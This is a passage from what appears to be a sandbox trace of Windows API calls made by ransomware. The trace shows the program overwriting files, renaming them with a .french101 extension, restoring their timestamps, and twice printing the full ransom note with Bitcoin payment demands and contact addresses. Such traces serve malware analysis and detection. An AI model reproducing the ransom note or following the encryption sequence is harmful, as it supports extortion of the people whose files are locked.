[0264.805] SetEndOfFile (hFile=0x35c) returned 1 [0264.807] CloseHandle (hObject=0x35c) returned 1 [0264.807] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0264.807] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.807] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x159d5 [0264.807] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.808] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.810] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0264.811] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.811] SetFilePointer (in: hFile=0x35c, lDistanceToMove=44245, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xacd5 [0264.811] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.812] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.812] GlobalLock (hMem=0x3f40004) returned 0x3ae6e20 [0264.812] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.812] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.812] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40004 [0264.812] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.812] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0264.812] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0264.812] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.823] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0264.826] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.826] SetFilePointer (in: hFile=0x35c, lDistanceToMove=44245, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xacd5 [0264.826] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.826] SetFilePointer (in: hFile=0x35c, lDistanceToMove=88533, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x159d5 [0264.826] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0264.826] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46618*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e46618*, lpNumberOfBytesWritten=0x19e7d8*=0xc2, lpOverlapped=0x0) returned 1 [0264.826] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.826] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.826] CloseHandle (hObject=0x35c) returned 1 [0264.831] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="C:\\588bce7c90097ed212\\p+AUurmLLA4pklFbQwsS0h4tR97v8pPB3rEzEPCA.french101" (normalized: "c:\\588bce7c90097ed212\\p+auurmlla4pklfbqwss0h4tr97v8ppb3rezepca.french101")) returned 1 [0264.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\p+AUurmLLA4pklFbQwsS0h4tR97v8pPB3rEzEPCA.french101" (normalized: "c:\\588bce7c90097ed212\\p+auurmlla4pklfbqwss0h4tr97v8ppb3rezepca.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0264.832] SetFileTime (hFile=0x35c, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0264.832] CloseHandle (hObject=0x35c) returned 1 [0264.832] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\p+AUurmLLA4pklFbQwsS0h4tR97v8pPB3rEzEPCA.french101", dwFileAttributes=0x80) returned 1 [0264.832] CloseHandle (hObject=0x35c) returned 0 [0264.832] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.832] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.832] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.832] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.833] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0264.833] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.833] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.833] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0264.833] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.833] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.833] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0264.833] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0264.833] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0264.833] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0264.833] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0264.833] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.833] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0264.833] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.834] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.834] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0264.834] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.834] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0264.834] CloseHandle (hObject=0x35c) returned 1 [0264.834] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.834] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.834] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.834] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0264.834] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0264.834] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0264.834] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0264.834] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.834] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0264.834] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0264.834] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0264.834] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.834] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0264.834] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.835] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.835] CharLowerBuffW (in: lpsz="header.bmp", cchLength=0xa | out: lpsz="header.bmp") returned 0xa [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.835] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0264.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bmp", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bmpw", lpUsedDefaultChar=0x0) returned 4 [0264.835] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0264.835] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0264.835] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0264.835] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0264.836] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x20) returned 1 [0264.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.888] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.888] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xe2c [0264.888] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.888] SetFilePointer (in: hFile=0x398, lDistanceToMove=3628, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0xe2c [0264.889] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c78*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0264.897] CloseHandle (hObject=0x398) returned 1 [0264.898] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0xe2d [0264.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=3628, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xe2c [0264.898] SetEndOfFile (hFile=0x398) returned 1 [0264.900] CloseHandle (hObject=0x398) returned 1 [0264.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xe2c [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.901] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xe2c [0264.901] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.901] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.903] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0264.903] GlobalLock (hMem=0x3f40014) returned 0x3ae6e20 [0264.903] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0264.903] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.903] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40014 [0264.903] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.903] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.903] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.903] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.903] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0264.903] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.903] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0264.903] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0xe2c [0264.903] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0264.903] SetFilePointer (in: hFile=0x398, lDistanceToMove=3628, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe2c [0264.903] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0264.915] WriteFile (in: hFile=0x398, lpBuffer=0x3efca08*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3efca08*, lpNumberOfBytesWritten=0x19e7d8*=0xb2, lpOverlapped=0x0) returned 1 [0264.915] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.915] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.915] CloseHandle (hObject=0x398) returned 1 [0264.916] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\g4rsV=1JAEUoJ0X5BZ9a5CevqxA.french101" (normalized: "c:\\588bce7c90097ed212\\g4rsv=1jaeuoj0x5bz9a5cevqxa.french101")) returned 1 [0264.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\g4rsV=1JAEUoJ0X5BZ9a5CevqxA.french101" (normalized: "c:\\588bce7c90097ed212\\g4rsv=1jaeuoj0x5bz9a5cevqxa.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.917] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0264.917] CloseHandle (hObject=0x398) returned 1 [0264.917] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\g4rsV=1JAEUoJ0X5BZ9a5CevqxA.french101", dwFileAttributes=0x80) returned 1 [0264.918] CloseHandle (hObject=0x398) returned 0 [0264.918] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.918] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.918] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.918] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.918] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.918] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.918] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.918] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.918] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.918] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.918] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da350 [0264.918] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0264.918] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0264.918] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0264.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | 